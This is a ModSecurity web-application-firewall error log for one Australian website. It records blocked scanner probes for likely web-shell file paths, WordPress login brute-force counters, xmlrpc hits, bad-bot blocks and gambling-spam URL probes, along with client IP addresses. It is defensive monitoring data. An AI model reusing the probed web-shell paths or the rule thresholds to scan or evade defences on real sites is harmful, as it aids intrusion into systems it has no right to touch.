[Wed Mar 04 10:42:14.545536 2026] [:error] [pid 18681:tid 18691] [client 4.205.67.132:16292] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ee.php"] [unique_id "aaecBqE_TuZYUBveWkX-bgAAAMg"]
[Wed Mar 04 10:42:15.007922 2026] [:error] [pid 54487:tid 54498] [client 4.205.67.132:16373] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ee.php"] [unique_id "aaecB_N8030QMpFXddsE0gAAAQk"]
[Wed Mar 04 10:42:15.519928 2026] [:error] [pid 18681:tid 18692] [client 4.205.67.132:16349] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaecB6E_TuZYUBveWkX-cgAAAMk"]
[Wed Mar 04 10:42:16.039229 2026] [:error] [pid 18554:tid 18610] [client 4.205.67.132:16273] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaecCJ0fKmKeTIK7QS1aUQAAAFI"]
[Wed Mar 04 10:42:16.554156 2026] [:error] [pid 54487:tid 54502] [client 4.205.67.132:16380] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaecCPN8030QMpFXddsE2AAAAQ0"]
[Wed Mar 04 10:42:17.016589 2026] [:error] [pid 18681:tid 18695] [client 4.205.67.132:16332] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaecCaE_TuZYUBveWkX-dQAAAMw"]
[Wed Mar 04 10:42:17.478542 2026] [:error] [pid 54487:tid 54491] [client 4.205.67.132:16323] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-file.php"] [unique_id "aaecCfN8030QMpFXddsE3AAAAQI"]
[Wed Mar 04 10:42:17.991454 2026] [:error] [pid 54487:tid 54499] [client 4.205.67.132:16259] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-file.php"] [unique_id "aaecCfN8030QMpFXddsE4AAAAQo"]
[Wed Mar 04 10:42:18.505070 2026] [:error] [pid 18554:tid 18605] [client 4.205.67.132:16368] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aaecCp0fKmKeTIK7QS1aVwAAAE0"]
[Wed Mar 04 10:42:19.017889 2026] [:error] [pid 18554:tid 18600] [client 4.205.67.132:16262] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aaecC50fKmKeTIK7QS1aWgAAAEg"]
[Wed Mar 04 10:42:19.480971 2026] [:error] [pid 18555:tid 18639] [client 4.205.67.132:16300] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aaecCzQeUDANiOsQ3Ge1fwAAAJQ"]
[Wed Mar 04 10:42:19.899102 2026] [:error] [pid 18554:tid 18604] [client 4.205.67.132:16324] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aaecC50fKmKeTIK7QS1aXgAAAEw"]
[Wed Mar 04 10:42:20.362300 2026] [:error] [pid 18555:tid 18626] [client 4.205.67.132:16282] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aaecDDQeUDANiOsQ3Ge1gwAAAIc"]
[Wed Mar 04 10:42:20.876056 2026] [:error] [pid 54487:tid 54510] [client 4.205.67.132:16258] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aaecDPN8030QMpFXddsE5AAAARU"]
[Wed Mar 04 10:42:21.340161 2026] [:error] [pid 18554:tid 18616] [client 4.205.67.132:16261] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aaecDZ0fKmKeTIK7QS1aZQAAAFg"]
[Wed Mar 04 10:42:21.804181 2026] [:error] [pid 18553:tid 18576] [client 4.205.67.132:16354] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aaecDWbax1neh8d0AHa8HQAAAAw"]
[Wed Mar 04 10:42:22.322221 2026] [:error] [pid 18681:tid 18690] [client 4.205.67.132:16216] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaecDqE_TuZYUBveWkX-gAAAAMc"]
[Wed Mar 04 10:42:22.834577 2026] [:error] [pid 54487:tid 54494] [client 4.205.67.132:16359] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaecDvN8030QMpFXddsE5gAAAQU"]
[Wed Mar 04 10:42:23.349712 2026] [:error] [pid 54487:tid 54499] [client 4.205.67.132:16335] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaecD_N8030QMpFXddsE6QAAAQo"]
[Wed Mar 04 10:42:23.811014 2026] [:error] [pid 18555:tid 18619] [client 4.205.67.132:16381] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaecDzQeUDANiOsQ3Ge1hwAAAIA"]
[Wed Mar 04 10:42:24.272386 2026] [:error] [pid 18681:tid 18697] [client 4.205.67.132:16287] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aaecEKE_TuZYUBveWkX-hQAAAM4"]
[Wed Mar 04 10:42:24.785575 2026] [:error] [pid 18554:tid 18600] [client 4.205.67.132:16356] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aaecEJ0fKmKeTIK7QS1adAAAAEg"]
[Wed Mar 04 10:42:25.298233 2026] [:error] [pid 18554:tid 18612] [client 4.205.67.132:16382] [client 4.205.67.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aaecEZ0fKmKeTIK7QS1adgAAAFQ"]
[Wed Mar 04 10:44:04.138601 2026] [:error] [pid 54487:tid 54493] [client 139.135.192.241:27934] [client 139.135.192.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.135.192.241, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaecdPN8030QMpFXddsGdQAAAQQ"]
[Wed Mar 04 11:49:04.057687 2026] [:error] [pid 18681:tid 18702] [client 152.233.20.86:36366] [client 152.233.20.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaersKE_TuZYUBveWkUVHwAAANM"]
[Wed Mar 04 13:01:33.578831 2026] [:error] [pid 18681:tid 18692] [client 43.228.157.73:51189] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aae8raE_TuZYUBveWkUoVgAAAMk"]
[Wed Mar 04 13:01:34.800717 2026] [:error] [pid 18555:tid 18638] [client 43.228.157.73:51527] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aae8rjQeUDANiOsQ3GfQUAAAAJM"]
[Wed Mar 04 13:01:35.939630 2026] [:error] [pid 18554:tid 18605] [client 43.228.157.73:51932] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aae8r50fKmKeTIK7QS3LSAAAAE0"]
[Wed Mar 04 13:01:37.117438 2026] [:error] [pid 18681:tid 18701] [client 43.228.157.73:52342] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aae8saE_TuZYUBveWkUpJwAAANI"]
[Wed Mar 04 13:01:38.286484 2026] [:error] [pid 54487:tid 54511] [client 43.228.157.73:52778] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aae8svN8030QMpFXddteJgAAARY"]
[Wed Mar 04 16:15:55.184282 2026] [:error] [pid 59835:tid 59858] [client 159.203.36.228:59114] [client 159.203.36.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.36.228, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aafqO1QB6c0LN1Nf01AU0AAAANE"]
[Wed Mar 04 16:15:56.039333 2026] [:error] [pid 59835:tid 59856] [client 159.203.36.228:59147] [client 159.203.36.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.36.228, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aafqPFQB6c0LN1Nf01AU0wAAAM8"]
[Wed Mar 04 16:31:54.043967 2026] [:error] [pid 51358:tid 51450] [client 37.120.210.73:64545] [client 37.120.210.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaft-lDC2WZyp0MMf73tMgAAAE4"]
[Wed Mar 04 16:32:35.613638 2026] [:error] [pid 51510:tid 51522] [client 37.120.210.73:32307] [client 37.120.210.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aafuI3-78MmWmoTGI7tezwAAAQk"]
[Wed Mar 04 17:03:26.259386 2026] [:error] [pid 58980:tid 59004] [client 43.157.82.252:51242] [client 43.157.82.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaf1XuUAtVVlbPlXAMB8sQAAANU"]
[Wed Mar 04 18:16:56.403404 2026] [:error] [pid 63259:tid 63296] [client 209.38.103.181:64070] [client 209.38.103.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.103.181, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aagGmJYdi0T768Nnor60PwAAAQA"]
[Wed Mar 04 18:16:57.419090 2026] [:error] [pid 63356:tid 63360] [client 209.38.103.181:64098] [client 209.38.103.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.103.181, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aagGmc5gxyQKbLIoyf_jlgAAAEI"]
[Wed Mar 04 18:54:24.612480 2026] [:error] [pid 61225:tid 61265] [client 122.51.236.174:51760] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aagPYIFRsPGnBbt4lyR0kAAAABg"]
[Wed Mar 04 19:57:24.421672 2026] [:error] [pid 64829:tid 64831] [client 129.224.206.230:6325] [client 129.224.206.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.224.206.230, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aageJJ9ZED3FG9h7uijD7QAAAAA"]
[Wed Mar 04 21:47:33.158715 2026] [:error] [pid 64829:tid 64851] [client 170.106.37.134:44790] [client 170.106.37.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aag39Z9ZED3FG9h7uigLOwAAABQ"]
[Thu Mar 05 01:45:02.610231 2026] [:error] [pid 27814:tid 27891] [client 110.166.71.39:55877] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aahvnrPcbh1BHIHQb9J1mAAAANE"]
[Thu Mar 05 01:48:28.937452 2026] [:error] [pid 27472:tid 27535] [client 43.130.15.147:43342] [client 43.130.15.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aahwbLt7N-W1OaN6b8rdoQAAAYQ"]
[Thu Mar 05 02:01:48.131824 2026] [:error] [pid 26934:tid 26970] [client 147.135.213.38:34288] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aahzjGDWd71V_nuoqWI_AgAAAI8"]
[Thu Mar 05 02:01:50.464854 2026] [:error] [pid 26966:tid 27029] [client 147.135.213.38:38054] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aahzjhaIQuoePO_dwgc8uQAAAFA"]
[Thu Mar 05 02:01:52.990021 2026] [:error] [pid 26966:tid 27014] [client 147.135.213.38:38070] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aahzkBaIQuoePO_dwgc8vgAAAEE"]
[Thu Mar 05 02:01:55.480457 2026] [:error] [pid 26966:tid 27020] [client 147.135.213.38:38082] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aahzkxaIQuoePO_dwgc8wAAAAEc"]
[Thu Mar 05 02:01:57.860345 2026] [:error] [pid 26969:tid 27062] [client 147.135.213.38:46562] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aahzlZlCO2K-E0MVfPPjhwAAABY"]
[Thu Mar 05 02:02:00.402296 2026] [:error] [pid 27814:tid 27890] [client 147.135.213.38:46578] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aahzmLPcbh1BHIHQb9J9DwAAANA"]
[Thu Mar 05 02:02:02.768423 2026] [:error] [pid 27472:tid 27534] [client 147.135.213.38:46588] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aahzmrt7N-W1OaN6b8rhHQAAAYM"]
[Thu Mar 05 02:02:05.277678 2026] [:error] [pid 27814:tid 27894] [client 147.135.213.38:46594] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aahznbPcbh1BHIHQb9J9GAAAANQ"]
[Thu Mar 05 02:02:07.783536 2026] [:error] [pid 26969:tid 27051] [client 147.135.213.38:43968] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aahzn5lCO2K-E0MVfPPjjQAAAAs"]
[Thu Mar 05 02:02:10.294082 2026] [:error] [pid 26966:tid 27021] [client 147.135.213.38:43982] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aahzohaIQuoePO_dwgc8yAAAAEg"]
[Thu Mar 05 02:02:12.797744 2026] [:error] [pid 27814:tid 27876] [client 147.135.213.38:43994] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aahzpLPcbh1BHIHQb9J9JQAAAMM"]
[Thu Mar 05 02:02:15.319139 2026] [:error] [pid 26934:tid 26977] [client 147.135.213.38:44000] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aahzp2DWd71V_nuoqWI_ogAAAJY"]
